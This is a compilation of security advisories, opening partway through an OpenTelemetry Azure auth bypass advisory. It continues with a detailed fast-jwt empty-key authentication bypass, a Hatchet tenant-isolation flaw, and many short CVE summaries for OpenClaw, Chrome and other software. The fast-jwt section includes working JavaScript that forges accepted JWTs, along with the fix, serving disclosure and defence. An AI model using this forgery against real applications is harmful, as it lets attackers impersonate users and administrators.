but is routine in multi-workload Azure environments. **Who is impacted.** Any operator of `opentelemetry-collector-contrib` v0.124.0 through v0.150.0 who configured `azureauthextension` on a receiver's `auth:` block. This applies to both HTTP and gRPC receivers - gRPC receivers surface `:authority` as `Host` through the collector's header handling, so the same exploit path applies there. **Deployments most at risk:** - Multi-workload Azure environments where the collector shares a managed identity with other workloads (any such workload can authenticate as an arbitrary telemetry source). - Deployments that forward `Authorization:` headers through proxies, service meshes, or logging pipelines (one leaked token is enough, and persists for the token TTL - typically several hours for MI tokens, not the 60-minute user-token window). - Multi-tenant environments where different customers' telemetry converges at a collector protected by this extension. **Consequences.** Unauthenticated (from the collector's perspective) ingest of arbitrary traces, metrics, and logs. Downstream effects depend on the collector's exporters and include telemetry-backend poisoning, log injection (masking real attacker activity in SIEMs), metric manipulation to trigger or suppress alerts, cost-amplification against pay-per-datapoint backends, and adversarial traces that corrupt service-graph and incident-triage signals. **Not impacted.** The extension's outbound `extensionauth.HTTPClient` path, used by Azure exporters, is unaffected. Operators who use `azureauthextension` only on exporters can continue doing so. ### Mitigation Until a patched release is available, remove `azure_auth` from any receiver `auth:` blocks. For genuine Entra ID JWT validation on OTLP receivers, use `oidcauthextension` pointed at the tenant discovery URL, with audience pinned from configuration: ```yaml extensions: oidc: issuer_url: https://login.microsoftonline.com/<tenant-id>/v2.0 audience: <expected-api-audience> ``` ### Resources - PR introducing the vulnerable server-side path: [#39178](https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/39178) - Affected versions: v0.124.0 - v0.150.0 Assisted-by: Opus 4.7

### Summary A critical authentication-bypass vulnerability in `fast-jwt`'s async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (`''`), for example via the common `keys[decoded.header.kid] || ''` JWKS-style fallback, fast-jwt converts it to a zero-length `Buffer`, hands it to `crypto.createSecretKey`, derives `allowedAlgorithms = ['HS256','HS384','HS512']` from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes `HMAC-SHA256(key='', input='${header}.${payload}')`, which Node accepts without complaint - and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release `fast-jwt@6.2.3`. ### Preconditions For this issue to occur the following MUST ALL be true: 1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. `createVerifier({key: async (decoded) => ... })`) 2. The response from the async callback MUST return an empty string `''` OR zero-length buffer (e.g. `Buffer.alloc(0)`). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue 3. The library configuration must allow HMAC signatures. This is the default for the library. 4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge. 5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced. ### Details `src/verifier.js` `prepareKeyOrSecret` (lines 33-39): ```js function prepareKeyOrSecret(key, isSecret) { if (typeof key === 'string') { key = Buffer.from(key, 'utf-8') } return isSecret ? createSecretKey(key) : createPublicKey(key) // ← no length check } ``` `src/verifier.js` async key-resolver flow (lines 429-468): ```js getAsyncKey(key, { header, payload, signature }, (err, currentKey) => { ... if (typeof currentKey === 'string') { currentKey = Buffer.from(currentKey, 'utf-8') // '' → Buffer.alloc(0) } else if (!(currentKey instanceof Buffer)) { return callback(... 'string or buffer'...) } try { const availableAlgorithms = detectPublicKeyAlgorithms(currentKey) // detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509` // branch → returns hsAlgorithms = ['HS256','HS384','HS512'] if (validationContext.allowedAlgorithms.length) { checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms) } else { validationContext.allowedAlgorithms = availableAlgorithms // default empty → HMAC family assigned } currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0]) // → createSecretKey(Buffer.alloc(0)) - Node accepts the empty secret silently verifyToken(currentKey, decoded, validationContext) } }) ``` `src/crypto.js` `verifySignature` (lines 286-291): ```js if (type === 'HS') { try { return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature) } catch { return false } } ``` `crypto.createHmac('sha256', emptyKey)` works. The HMAC of `${header}.${payload}` is fully attacker-computable. `timingSafeEqual` returns true. The verifier returns the attacker's payload as authentic. The bug exists *only* on the function-typed key resolver path. The synchronous `key: '' | undefined | null` configuration is correctly rejected at `createVerifier` setup because `if (key && keyType !== 'function')` short-circuits on falsy keys, and `verify` then throws `MISSING_KEY` when a token with a signature arrives. In contrast, the async-resolver path **does** allow `''` to flow through. ### PoC ```js // package.json: { "type": "module" } // npm i fast-jwt import { createVerifier } from 'fast-jwt' import * as crypto from 'node:crypto' function b64url(buf) { return Buffer.from(buf).toString('base64') .replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_') } // Forge a JWT signed with HMAC-SHA256 over an EMPTY key. const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' })) const payload = b64url(JSON.stringify({ sub: 'attacker', admin: true, iat: Math.floor(Date.now() / 1000), exp: Math.floor(Date.now() / 1000) + 60 })) const input = `${header}.${payload}` const signature = b64url(crypto.createHmac('sha256', '').update(input).digest()) const forgedToken = `${input}.${signature}` // Realistic JWKS-style verifier - looks up kid in a key map and falls back // to '' when the kid is unknown (a widely-used JS idiom). const verifier = createVerifier({ key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '') }) console.log(await verifier(forgedToken)) ``` Output on `fast-jwt@6.2.3`: ``` { sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 } ``` - the attacker-chosen payload is returned as authentic. Attack matrix verified against `fast-jwt@6.2.3`: | Resolver shape | `algorithms` option | HS256 | HS384 | HS512 | |---|---|---|---|---| | `async () => ''` | (default) | ✅ accept | ✅ accept | ✅ accept | | `(d, cb) => cb(null, '')` | (default) | ✅ accept | ✅ accept | ✅ accept | | `async d => keys[d.header.kid] \|\| ''` | (default) | ✅ accept | ✅ accept | ✅ accept | | `async () => ''` | `['HS256','HS384','HS512']` | ✅ accept | ✅ accept | ✅ accept | | `async () => ''` | `['HS256','RS256']` | ✅ accept | INVALID_ALG | INVALID_ALG | | `async () => ''` | `['RS256']` | INVALID_KEY | INVALID_KEY | INVALID_KEY | The bug is *only* not triggered when the caller has explicitly restricted `algorithms` to a family incompatible with the empty key's detected `hsAlgorithms`. Sense checks (also verified against `fast-jwt@6.2.3` to rule out my harness): - A token signed with the *real* secret continues to verify correctly. → ACCEPTED. - A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. → INVALID_SIGNATURE. - The synchronous `key: ''` (string) configuration is correctly rejected. → MISSING_KEY. ### Impact Who is impacted: every Node.js application that uses fast-jwt with a function-typed `key` resolver, the standard JWKS pattern fast-jwt's own README documents, *and* whose resolver can ever return `''` or a zero-length `Buffer` (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern `keys[decoded.header.kid] || ''` is widely used in JS code and AI-generated examples. Concrete attacker capabilities: 1. **Mint arbitrary JWTs** with attacker-chosen `sub`, `admin`, `roles`, `scopes`, `iss`, `aud`, etc. 2. **Full identity assumption** - any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token. 3. **Default-config exploitable** - the caller does not need to misconfigure `algorithms`. With the default empty array, fast-jwt itself assigns `['HS256','HS384','HS512']` when it sees an empty key. 4. **Cache amplification** - once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL. The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots. ### Suggested fix Reject zero-length HMAC secrets in `prepareKeyOrSecret`: ```diff function prepareKeyOrSecret(key, isSecret) { if (typeof key === 'string') { key = Buffer.from(key, 'utf-8') } + + if (isSecret && (!key || key.length === 0)) { + throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.') + } + return isSecret ? createSecretKey(key) : createPublicKey(key) } ``` This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with `FAST_JWT_INVALID_KEY`, while valid-token verification, valid-secret verification, and the synchronous `key: ''` rejection path are unaffected. For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a `strictMode` flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.

## Summary A missing authorization directive on the `GET /api/v1/stable/dags/tasks` endpoint caused Hatchet's tenant-membership check to be skipped for this route. A user authenticated to any tenant on the same Hatchet instance could query the endpoint with another tenant's UUID and a DAG UUID belonging to that tenant, and receive task metadata for that DAG. This issue has been patched in **v0.83.39**. Hatchet Cloud has been patched and requires no action from users. Self-hosted users should upgrade. ## Impact **Who is affected.** Multi-tenant Hatchet instances reachable by an attacker who can obtain an account on that instance. On Hatchet Cloud, account creation is open by default. On self-hosted instances, the API must be reachable by the attacker and the hostname known; instances deployed inside a VPC or with signup restricted are not exposed to arbitrary external actors. **Prerequisites for exploitation.** An attacker needed: 1. An account on the target Hatchet instance. 2. The victim tenant's UUID. 3. At least one DAG UUID (`external_id`) belonging to that tenant. The two UUIDs are not treated as secrets - they appear in URLs, API responses, audit logs, invitation flows, shared run links, and dashboard screenshots - but an attacker does need to learn them through some out-of-band channel before exploitation is possible. **What could be disclosed.** For each child task of a targeted DAG, the endpoint returned: - `display_name`, `action_id`, `step_id` - `workflow_id`, `workflow_version_id`, `workflow_run_id`, `task_external_id` - `tenant_id`, `retry_count`, `status`, timestamps - `additional_metadata` (JSON) The `additional_metadata` field is the most sensitive: Hatchet workflows commonly use it to carry domain context such as user identifiers, customer IDs, feature flags, or correlation tokens. Its contents vary by deployment. **What was not disclosed.** The raw task `input` payload is not part of this endpoint's response shape and was not exposed through this issue. The scope is limited to task metadata, not task arguments or results. **Exploitation status.** We have no evidence that this vulnerability was exploited prior to the patch. ## Root cause Hatchet's multi-tenant authorization relies on an OpenAPI-driven middleware pipeline. Each authenticated operation declares `x-resources: ["tenant", ...]` in its spec. The `populator` middleware reads the declared resources, looks up the corresponding entities from request parameters, and stores them on the request context. The `authz` middleware then verifies that the authenticated user is a member of the tenant found on the context. The `listTasksByDAGIds` operation accepted a `tenant` UUID as a query parameter, but its OpenAPI definition did not declare `x-resources: ["tenant"]`. As a result: 1. The populator, which early-returns when no resources are declared, did not populate the tenant onto the request context. 2. The authz middleware, which runs its membership check only when a tenant is present on the context, silently passed the request through. 3. The handler read the tenant UUID directly from the query parameter and used it as the filter in the downstream OLAP query. The SQL query itself correctly filters by `tenant_id`, so it returned only rows matching the supplied UUID - but the UUID came from the caller rather than from an authorization-validated context, so the filter bounded the response to the *attacker-named* tenant rather than to a tenant the caller was authorized to read. Every other authenticated operation in the same path file (`tasks.yaml`) correctly declared `x-resources`. This endpoint was the only authenticated operation in the file that did not. ## Patch The fix adds the missing resource authz checks inline on the handler, enforcing valid tenant membership before the handler runs. Shipped in **v0.83.39**. ## Remediation **Hatchet Cloud.** No action required. The patch was deployed on April 23, 2026 within the same day it was reported. **Self-hosted - recommended.** Upgrade to **v0.83.39** or later. **Self-hosted - if you cannot upgrade immediately.** Either of the following reduces exposure until you can upgrade: - Restrict account creation by setting `SERVER_AUTH_RESTRICTED_EMAIL_DOMAINS` to an allowlist of domains you control. This prevents arbitrary users from registering an account on your instance, which removes the most common path to the prerequisite account. - Ensure the Hatchet API is not exposed to untrusted networks. We generally recommend running Hatchet inside a VPC and fronting the API with authenticated network controls; deployments configured this way were not reachable by arbitrary external attackers. ## Timeline All times April 23, 2026. - **14:05** - Reported to Hatchet. - **16:28** - Patch deployed to Hatchet Cloud and released as v0.83.39. - Public disclosure - this advisory. ## Credit Reported by @sajdakabir. Hatchet thanks the reporter for responsibly disclosing this issue and for the clear, reproducible writeup.

Authentication bypass in OpenClaw's MCP loopback interface allows local low-privilege attackers to escalate to owner-level access. Non-owner MCP client processes can spoof the 'x-openclaw-sender-is-owner' HTTP header to impersonate the owner and access owner-gated operations. Publicly available exploit code exists via GitHub commit 3cb1a56, and VulnCheck has published a detailed advisory. The vulnerability affects OpenClaw npm package versions <= 2026.4.21, with patch 2026.4.22 available since April 2026.

Server-side request forgery in OpenClaw before version 2026.4.22 allows remote attackers to bypass SSRF protection in the Zalo plugin's sendPhoto function by providing malicious photo URLs, enabling unauthorized access to internal resources. The vulnerability affects the Zalo Bot API integration and requires network access but involves time-based attack complexity; no public exploit code or active exploitation has been confirmed.

Shell expansion injection in OpenClaw's exec allowlist validation allows authenticated attackers to bypass command approval controls and execute arbitrary system commands. The vulnerability affects OpenClaw versions prior to 2026.4.22 through improper parsing of unquoted heredoc bodies, where shell expansion tokens ($VAR, $(), etc.) are treated as literal text during allowlist analysis but expanded at runtime. This enables attackers to embed unapproved commands within ostensibly safe allowlisted commands. VulnCheck disclosed this vulnerability, and a proof-of-concept fix commit is publicly available. CVSS 8.7 reflects high impact across confidentiality, integrity, and availability with low attack complexity.

OpenClaw before 2026.4.22 contains a time-of-check/time-of-use (TOCTOU) race condition in the OpenShell filesystem bridge that allows authenticated attackers with local access to read files outside the intended mount root by performing symlink swaps during filesystem operations. The vulnerability affects sandbox security guarantees by enabling bypass of containment restrictions through coordinated symlink manipulation, and has been confirmed patched in version 2026.4.22.

OpenClaw before 2026.4.22 contains a time-of-check/time-of-use race condition in OpenShell sandbox filesystem writes that allows authenticated attackers to redirect file writes outside the intended mount root via symlink swaps. By exploiting the window between sandbox validation and actual file write operations, an attacker with local access can manipulate symlinks to bypass sandbox filesystem restrictions and write arbitrary files to locations outside the workspace.

OpenClaw before version 2026.4.15 allows authenticated users with access to the memory tool to read arbitrary Markdown files within the workspace root by bypassing path restrictions in the QMD backend's memory_get function. The vulnerability enables attackers to access workspace Markdown files outside canonical memory locations or indexed QMD result sets, effectively circumventing the intended memory-path policy. No public exploit code or active exploitation has been identified.

Authorization bypass in OpenClaw Matrix bot integration allows DM-paired attackers to execute privileged room control commands without configured permissions. Attackers who have previously established direct message pairing can exploit misaligned allowlist logic to run room control commands in bot rooms, bypassing room membership and allowlist requirements. Fixed in version 2026.4.15 after responsible disclosure by Keen Security Lab. No evidence of active exploitation; publicly available vendor advisory and fix commits reduce exploitation probability.

OpenClaw's Feishu webhook integration fails open when encryptKey is missing or callback tokens are blank, allowing remote unauthenticated attackers to bypass signature verification and replay protection mechanisms. Attackers can submit crafted webhook requests or malformed card-action callbacks directly to command dispatch without authentication, enabling arbitrary command execution. Vendor-confirmed authentication bypass; patch released in version 2026.4.15. No public exploit code or CISA KEV listing identified at time of analysis, but the fail-open behavior and network attack vector (CVSS AV:N/AC:L/PR:N) make this highly exploitable against misconfigured deployments.

Bearer token revocation bypass in OpenClaw gateway allows attackers to authenticate using rotated-out tokens until process restart. OpenClaw gateway HTTP and WebSocket handlers captured bearer authentication configuration at startup, failing to re-resolve credentials after SecretRef rotation. Attackers possessing a previously valid token can maintain unauthorized gateway access to /v1/* endpoints, /tools/invoke, plugin routes, and canvas upgrade paths even after operators rotate secrets, believing the old token is revoked. Fixed in version 2026.4.15. CVSS 9.2 reflects network-accessible attack with high complexity; no public exploit identified at time of analysis.

OpenClaw versions 2026.4.10 through 2026.4.13 fail to persist session context when recovering queued outbound media after service restart, allowing authenticated attackers to bypass group tool policy enforcement and weaken channel media restrictions. The vulnerability affects the delivery queue recovery mechanism, which replays queued messages without the original requester's session context needed for policy validation. Exploitation requires authenticated access and prior knowledge of queued delivery entries, with CVSS 6.0 and confirmed patch available in version 2026.4.14.

OpenClaw before version 2026.4.10 allows authenticated attackers to bypass Server-Side Request Forgery (SSRF) policy enforcement through incomplete navigation guard coverage in browser press and type interactions. Attackers can trigger unauthorized navigation actions, including pressKey and type-submit flows, that skip post-action security checks, potentially enabling SSRF attacks against restricted endpoints.

OpenClaw before version 2026.4.10 allows operators with write permissions to persist Nostr profile configuration without requiring admin authority through unprotected HTTP mutation endpoints. Attackers holding the operator.write scope can modify profile settings via PUT and POST routes that should require operator.admin scope, enabling unauthorized configuration changes. This is a privilege escalation vulnerability affecting the Nostr plugin HTTP API layer.

Arbitrary file read in OpenClaw before 2026.4.9 allows authenticated remote attackers to bypass navigation guards and access local files via browser interaction routes. Attackers exploit the ability to trigger navigation into the local Chrome DevTools Protocol (CDP) origin through act/evaluate commands, then create or read disallowed file:// URLs despite direct navigation policy restrictions. Patch available in version 2026.4.9 and confirmed included in npm release 2026.4.14. No public exploit code identified at time of analysis, CVSS 7.1 (High) with network attack vector and low complexity.

Authentication bypass in OpenClaw 2026.2.21 through 2026.4.9 allows remote unauthenticated attackers to access the sandbox noVNC helper route and gain unauthorized control of interactive browser sessions. The vulnerability exposes session credentials by failing to enforce bridge authentication on the /sandbox/novnc endpoint. OpenClaw is an open-source AI agent framework. Patch available in version 2026.4.10 and later. No evidence of active exploitation (not in CISA KEV) and EPSS data not available at time of analysis.

Complete account takeover in wger Python fitness management platform allows authenticated gym managers with no gym assignment (gym=None) to reset passwords of any other unaffiliated user and receive the new plaintext password in the HTTP response body. The vulnerability stems from a Django ORM authorization check that incorrectly evaluates None != None as False, bypassing the tenant isolation guard. Newly registered users default to gym=None state, making every public-registration wger deployment vulnerable. CVSS 9.9 Critical severity with scope change (cross-tenant impersonation). GitHub advisory GHSA-mhc8-p3jx-84mm confirms exploitation requires only low privilege (delegated gym.manage_gym permission) with no user interaction, enabling permanent victim lockout as original passwords are invalidated.

LDAP filter injection in Netflix Lemur certificate management platform allows authenticated users with valid LDAP credentials to escalate privileges to administrator by injecting metacharacters into the username field during login. Attackers manipulate group membership queries to gain unauthorized admin roles, enabling access to all certificates, private keys via /certificates/<id>/key endpoint, and CA configurations. Vendor-released patch confirmed in version 1.9.0 (GitHub advisory GHSA-3r34-vq8m-39gh). CVSS 8.1 indicates high confidentiality and integrity impact with low attack complexity from network-authenticated attackers. No public exploit code identified at time of analysis, though detailed reproduction steps exist in the advisory.

Hard-coded administrative credentials in PicoTronica e-Clinic Healthcare System ECHS 5.7 enable remote attackers to bypass authentication and gain privileged access to the healthcare management platform. The vulnerability resides in the /cdemos/echs/priv/echs.js file where the ADMIN_KEY parameter contains static credentials, allowing network-level exploitation without authentication (AV:N/PR:N). Public exploit documentation exists, though CISA KEV does not list active exploitation. EPSS data unavailable, but the combination of healthcare sector targeting, authentication bypass capability, and public POC elevates real-world risk despite moderate CVSS 7.3 scoring.

Hard-coded credentials in Vvveb's Docker deployment expose the entire application database to unauthenticated remote attackers. Versions prior to 1.0.8.2 ship with pre-configured phpMyAdmin credentials in docker-compose-apache.yaml, allowing direct database access without authentication. Attackers gain unrestricted read/write access to administrator password hashes, customer PII, and order data, enabling account takeover and data manipulation. CVSS 9.2 (Critical) reflects network-accessible attack with low complexity. Patch available in version 1.0.8.2 with vendor advisory confirmed by GitHub Security Advisory GHSA-g38h-mr9p-fjmf.

Insufficient validation of untrusted input in SiteIsolation in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)

Inappropriate implementation in Cast in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)

Insufficient validation of untrusted input in Cast in Google Chrome prior to 148.0.7778.96 allowed an attacker on the local network segment to bypass same origin policy via malicious network traffic. (Chromium security severity: Low)

Insufficient validation of untrusted input in CORS handling in Google Chrome prior to version 148.0.7778.96 allows a remote attacker who has compromised the renderer process to bypass the same-origin policy via a crafted HTML page, potentially leading to unauthorized information disclosure. The vulnerability requires renderer process compromise and user interaction, resulting in a CVSS score of 3.1 (low severity). No public exploit code or active exploitation has been identified at the time of analysis.

Insufficient input validation in SiteIsolation allows remote attackers who have compromised the Chrome renderer process to bypass site isolation protections via a crafted HTML page, potentially leaking sensitive data across site boundaries. The vulnerability affects Chrome versions prior to 148.0.7778.96 and requires prior renderer compromise and user interaction, resulting in low real-world exploitation probability despite the authentication bypass classification.

Bypass of Chrome's site isolation security feature in versions prior to 148.0.7778.96 allows a remote attacker with a compromised renderer process to access cross-site data via a crafted HTML page. The vulnerability requires renderer process compromise as a precondition, limiting real-world risk despite the criticality of bypassing site isolation. Vendor-released patch: version 148.0.7778.96 and later.

Insufficient policy enforcement in Chrome Extensions prior to version 148.0.7778.96 allows a remote attacker with a compromised renderer process to bypass discretionary access controls via a crafted HTML page, potentially leading to unauthorized information disclosure or modification. The vulnerability requires user interaction and a pre-existing renderer compromise, limiting its practical exploitation scope. A vendor-released patch is available in Chrome 148.0.7778.96 and later.

Insufficient policy enforcement in Chrome's WebUI on Linux, Mac, Windows, and ChromeOS prior to 148.0.7778.96 allows a remote attacker with a compromised renderer process to bypass site isolation via a crafted HTML page, potentially exposing sensitive cross-site data. The vulnerability requires user interaction (UI:R) and prior renderer compromise, limiting its standalone exploitability. Vendor-released patch available in version 148.0.7778.96.

Insufficient validation of Cross-Origin-Opener-Policy (COOP) headers in Google Chrome prior to version 148.0.7778.96 allows a remote attacker with a compromised renderer process to bypass site isolation protections via a crafted HTML page. The vulnerability requires renderer compromise and user interaction, limiting real-world exploitation to targeted attacks against users whose Chrome renderer is already under attacker control. Chromium rates the security severity as Medium; vendor patch is available.

Insufficient validation of untrusted input in the Persistent Cache of Google Chrome prior to version 148.0.7778.96 allows a remote attacker who has already compromised the renderer process to bypass site isolation protections via a specially crafted HTML page, enabling unauthorized disclosure of sensitive information from other sites. The vulnerability requires prior renderer compromise and user interaction, limiting real-world exploitability despite network-accessible attack vector. No public exploit code or active exploitation has been identified.

Insufficient policy enforcement in Chrome DevTools prior to version 148.0.7778.96 allows attackers to bypass navigation restrictions through a malicious extension, requiring user installation and interaction. The vulnerability has a low CVSS score (3.1) due to high attack complexity and user interaction requirements, resulting in limited confidentiality impact with no integrity or availability effects. Patch is available from Google.

Insufficient input validation in Google Chrome's Popup Blocker prior to version 148.0.7778.96 enables a remote attacker with a compromised renderer process to bypass navigation restrictions and access restricted content via a crafted HTML page. The vulnerability requires renderer process compromise and user interaction, limiting real-world exploitability despite its authentication bypass classification. No public exploit code or active exploitation has been identified at the time of analysis.

Insufficient policy enforcement in Chrome's Downloads feature prior to version 148.0.7778.96 allows local attackers with user interaction to bypass navigation restrictions and access sensitive download locations via a crafted HTML page, potentially leading to information disclosure or file manipulation. The vulnerability requires local access and user engagement with a malicious page, limiting its scope to targeted social engineering rather than remote mass exploitation.

Insufficient data validation in DevTools in Google Chrome on Android prior to version 148.0.7778.96 allows remote attackers to bypass navigation restrictions by sending a crafted HTML page, requiring user interaction to open the malicious page. The vulnerability has a low CVSS score (4.3) due to limited confidentiality impact and requirement for user click, but affects all Android users running vulnerable versions. A vendor-released patch is available.

Site isolation bypass in Google Chrome prior to version 148.0.7778.96 allows a remote attacker with a compromised renderer process to circumvent Chrome's site isolation security boundary through a crafted HTML page. The vulnerability requires user interaction and a pre-compromised renderer, limiting real-world impact despite being triggered remotely. No public exploit code or active exploitation has been confirmed at the time of analysis.

HCL BigFix Service Management is vulnerable to improper root filesystem configuration, allowing high-privileged authenticated users with user interaction to make unauthorized modifications to critical system components. The vulnerability requires administrative privileges and user consent (CVSS:3.1/AV:N/AC:H/PR:H/UI:R), resulting in limited confidentiality, integrity, and availability impacts. No active exploitation has been publicly reported.

Missing authentication in PicoTronica e-Clinic Healthcare System ECHS 5.7 allows remote unauthenticated attackers to access the /cdemos/echs/api/v2/patient-records API endpoint and retrieve sensitive patient information. Publicly available exploit code exists for this vulnerability. The vendor released patched version 5.7.1 to address the issue.

Authenticated control-panel users in Craft CMS 5.x can enumerate asset filenames and complete folder hierarchies (volume handles, UIDs, folder names, URIs) across all volumes by sending arbitrary asset IDs to the AssetsController::actionShowInFolder endpoint, bypassing volume-level viewAssets and viewPeerAssets permission checks. The flaw stems from an incomplete February 2026 patch wave that fixed four sibling endpoints but missed this method, introduced 13 days before the patch release. No public exploit identified at time of analysis; vendor-released patch fixes 5.9.18 and later. This information disclosure vulnerability enables reconnaissance for follow-up attacks against restricted asset volumes.